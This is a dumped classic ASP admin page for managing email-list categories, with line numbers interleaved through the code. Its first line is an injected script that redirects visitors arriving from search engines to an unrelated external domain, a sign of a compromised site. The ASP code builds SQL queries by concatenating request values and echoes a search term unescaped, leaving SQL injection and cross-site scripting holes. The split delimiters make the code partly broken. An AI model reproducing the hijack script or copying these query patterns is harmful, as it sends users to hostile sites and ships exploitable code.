d:\wwwroot\wuchunhua\sendmail\mail_mailclass.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<!--#include file="inc/page_cls.asp"-->
003:
<html>
004:
<head>
005:
<title>管理</title>
006:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007:
<link rel="stylesheet" href="inc/style.css">
008:
<script language="javascript" src="inc/js.js"></script>
009:
</head>
010:
<body>
011:
<%
dim page
012:
page=request.QueryString("page")
013:
014:
stype=checkstr(request.QueryString("stype"))
015:
keys=checkstr(request.QueryString("keys"))
016:
017:
urlQuery="&stype="& stype &"&keys="& keys
018:
019:
action=request.QueryString("action")
020:
select case action
021:
case "add" : CheckString("11"):call add
022:
case "list" : CheckString("12"):call list
023:
case "edit" : CheckString("13"):call edit
024:
case "upsave" :call upsave
025:
end select
026:
027:
sub list
028:
%
>
029:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" class="tablebk" style="border-collapse: collapse">
030:
<tr>
031:
<td colspan="6" class="table_titlebg">邮件分类列表</td>
032:
</tr>
033:
<tr>
034:
<td colspan="6" align="center" class="table_trbg01"><table width="100%" border="0" cellspacing="0" cellpadding="0">
035:
<tr>
036:
<form name="Form2" method="get" action="?">
037:
<td align="right">
038:
查找： <select name="stype">
039:
<option value="1"
<%
=SetSelected(stype,"1")
%
>>分类名称</option>
040:
</select> <input name="keys" type="text" id="keys" size="15" maxlength="30" class="INPUT" value="
<%
=keys
%
>">
041:
<input type="submit" name="" value="搜索"><input type="hidden" name="action" value="list"></td></form>
042:
</tr>
043:
</table> </td>
044:
</tr>
045:
<form name="Form1" method="post" action="?action=upsave&page=
<%
=page
%
>&stype=
<%
=stype
%
>&keys=
<%
=keys
%
>" onSubmit="return confirm('确定要执行此操作吗？\n\n注意：执行删除时将删除所属的分类邮件地址');">
046:
<tr>
047:
<td align="center" class="table_trbg02"><strong>ID</strong></td>
048:
<td align="center" class="table_trbg02"><strong>分类名称</strong></td>
049:
<td align="center" class="table_trbg02"><strong>信息排序</strong></td>
050:
<td align="center" class="table_trbg02">邮址数量</td>
051:
<td align="center" class="table_trbg02"><strong>操作</strong></td>
052:
<td align="center" class="table_trbg02"><strong>选择</strong></td>
053:
</tr>
054:
<%
055:
dim PageMaxSize
056:
PageMaxSize=12 '每页几条
057:
Set MyPage = New XdownPage '创建对象
058:
059:
if keys<>"" then
060:
if stype="1" then sql2 = sql2 & " and classname like '%"& keys &"%' "
061:
end if
062:
063:
MyPage.GetSQL ="SELECT * from [vn_mailclass] where 1=1 "& sql2 &" order by id desc"
064:
MyPage.PageSize = PageMaxSize '设置每一页的记录条数据为10条
065:
Set rs = MyPage.GetRS() '返回Recordset
066:
067:
If rs.eof Then
068:
response.Write("<tr><td height=""30"" align=""center"" colspan=""6"" class=""table_trbg02"">没有任何信息！</td></tr>")
069:
else
070:
For i=1 To MyPage.PageSize '显示数据
071:
If Not rs.eof Then
072:
%
>
073:
<tr>
074:
<td align="center" class="table_trbg02">
<%
=rs("ID")
%
></td>
075:
<td align="center" class="table_trbg02"><a href="?action=edit&id=
<%
=rs("ID")
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">
<%
=rs("classname")
%
></a></td>
076:
<td align="center" class="table_trbg02"><input name="orders" type="text" class="input" id="orders" value="
<%
=rs("orders")
%
>" size="6" maxlength="5"></td>
077:
<td align="center" class="table_trbg02">
<%
=conn.execute("select count(id) from [vn_mailaddress] where classid="& rs("id") &"")(0)
%
></td>
078:
<td align="center" class="table_trbg02"><a href="?action=edit&id=
<%
=rs("ID")
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">编辑</a></td>
079:
<td align="center" class="table_trbg02"><input type="checkbox" name="id" value="
<%
=rs("ID")
%
>"><input type="hidden" name="hideid" value="
<%
=rs("ID")
%
>"></td>
080:
</tr>
081:
<%
082:
rs.movenext
083:
Else
084:
Exit For
085:
End If
086:
next
087:
End If
088:
%
>
089:
<tr>
090:
<td colspan="6" align="right" class="table_trbg02">
091:
<input type="checkbox" name="chkall" value="on" onClick="CheckAll(this.form,'id')" />
092:
全选
093:
<select name="point">
094:
<option value="">操作方式</option>
095:
<option value="1">更新</option>
096:
<option value="2">删除</option>
097:
</select>
098:
<input type="submit" name="Submit" value="执 行">
099:
100:
<input type="reset" name="Submit2" value="重 写"> </td>
101:
</tr>
102:
</form>
103:
<tr>
104:
<td colspan="6" align="center" class="table_trbg02">
<%
if MyPage.ShowTotalRecord>0 then MyPage.ShowPage()
%
></td>
105:
</tr>
106:
</table>
107:
<%
end sub
108:
109:
sub add
110:
if request.QueryString("act")="addsave" then
111:
112:
classname=GetForm("classname")
113:
orders=GetForm("orders")
114:
115:
if classname="" then ErrMsg = ErrMsg & "● 请输入分类名称；"
116:
if not isInteger(Orders) then ErrMsg = ErrMsg & "● 排序必须使用整数输入；\n"
117:
118:
119:
if ErrMsg="" then
120:
conn.execute("insert into [vn_mailclass](classname,orders)values('"& classname &"',"& orders &")")
121:
alert "分类 "& classname &" 添加成功；","?action=add"
122:
end if
123:
if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
124:
end if
125:
%
>
126:
127:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
128:
<form name="Form1" method="post" action="?action=add&act=addsave">
129:
<tr>
130:
<td height="15" colspan="2" class="table_titlebg">邮件分类添加</td>
131:
</tr>
132:
<tr>
133:
<td width="40%" height="15" align="right" class="table_trbg02"><strong>分类名称：</strong></td>
134:
<td class="table_trbg02"><input name="classname" type="text" class="input" id="classname" size="40" value="
<%
=classname
%
>"></td>
135:
</tr>
136:
<tr>
137:
<td height="15" align="right" class="table_trbg02"><p><strong>信息排序：</strong></p> </td>
138:
<td class="table_trbg02"><input name="orders" type="text" class="input" id="orders" value="
<%
if orders="" then response.Write("0") else response.Write(orders)
%
>" size="14" />
139:
整型，从小到大排序</td>
140:
</tr>
141:
<tr>
142:
<td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value=" 完成 ">
143:
144:
<input type="reset" name="Submit" value=" 重置 "></td>
145:
</tr>
146:
</form>
147:
</table>
148:
149:
<%
150:
end sub
151:
sub edit
152:
id=request.QueryString("id")
153:
if not isInteger(id) then alert "参数出错；","back"
154:
set rs=conn.execute("select * from [vn_mailclass] where id="& id &"")
155:
if rs.eof then
156:
alert "参数出错，找不到此信息；","back"
157:
else
158:
classname=Rs("classname")
159:
orders=Rs("orders")
160:
end if
161:
rs.close : set rs=nothing
162:
163:
164:
if request.QueryString("act")="editsave" then
165:
classname=GetForm("classname")
166:
orders=GetForm("orders")
167:
168:
if classname="" then ErrMsg = ErrMsg & "● 请输入分类名称；"
169:
if not isInteger(Orders) then ErrMsg = ErrMsg & "● 排序必须使用整数输入；\n"
170:
171:
if ErrMsg="" then
172:
conn.execute("update [vn_mailclass] set classname='"& classname &"',orders="& orders &"")
173:
alert "分类编辑保存成功；","?action=edit&page="& page &"&id="& id & urlQuery
174:
end if
175:
if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
176:
end if
177:
178:
%
>
179:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
180:
<form name="Form1" method="post" action="?action=edit&act=editsave&id=
<%
=id
%
>&page=
<%
=page
%
>
<%
=urlQuery
%
>">
181:
<tr>
182:
<td height="15" colspan="2" class="table_titlebg">邮件分类编辑</td>
183:
</tr>
184:
<tr>
185:
<td width="40%" height="15" align="right" class="table_trbg02"><strong>分类名称：</strong></td>
186:
<td class="table_trbg02"><input name="classname" type="text" class="input" id="classname" size="40" value="
<%
=classname
%
>"></td>
187:
</tr>
188:
<tr>
189:
<td height="15" align="right" class="table_trbg02"><p><strong>信息排序：</strong></p></td>
190:
<td class="table_trbg02"><input name="orders" type="text" class="input" id="orders" value="
<%
if orders="" then response.Write("0") else response.Write(orders)
%
>" size="14" />
191:
整型，从小到大排序</td>
192:
</tr>
193:
<tr>
194:
<td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit3" value=" 保存 ">
195:
196:
<input type="button" name="Submit22" onClick="javascript:window.location='?action=list&page=
<%
=page
%
>
<%
=urlQuery
%
>';" value=" 返回 "></td>
197:
</tr>
198:
</form>
199:
</table>
200:
<%
201:
end sub
202:
sub upsave
203:
point=GetForm("point")
204:
if point="" then alert "您没有指定操作方式!","back"
205:
206:
if point="1" Then
207:
CheckString("14")
208:
For i=1 to request.form("hideid").count
209:
orders = trim(request.form("orders")(i))
210:
IF Not isInteger(orders) Then alert "输入的排序格式不正确!","back"
211:
Next
212:
For i=1 to request.form("hideid").count
213:
hideid = trim(request.form("hideid")(i))
214:
orders = trim(request.form("orders")(i))
215:
conn.Execute("update [vn_mailclass] Set orders="& orders &" where ID="& hideid &"")
216:
Next
217:
alert "信息更新成功！","?page="& page & urlQuery
218:
end if
219:
220:
if point="2" Then
221:
CheckString("15")
222:
id=GetForm("id")
223:
if id="" then alert "请选择要删除的信息!","back"
224:
conn.execute("delete From [vn_mailclass] where id in ("& id &")")
225:
conn.execute("delete From [vn_mailaddress] where classid in ("& id &")")
226:
alert "所选删除成功！","?page="& page & urlQuery
227:
end if
228:
229:
end sub
230:
%
>
231:
</body>
232:
</html>
233:
234: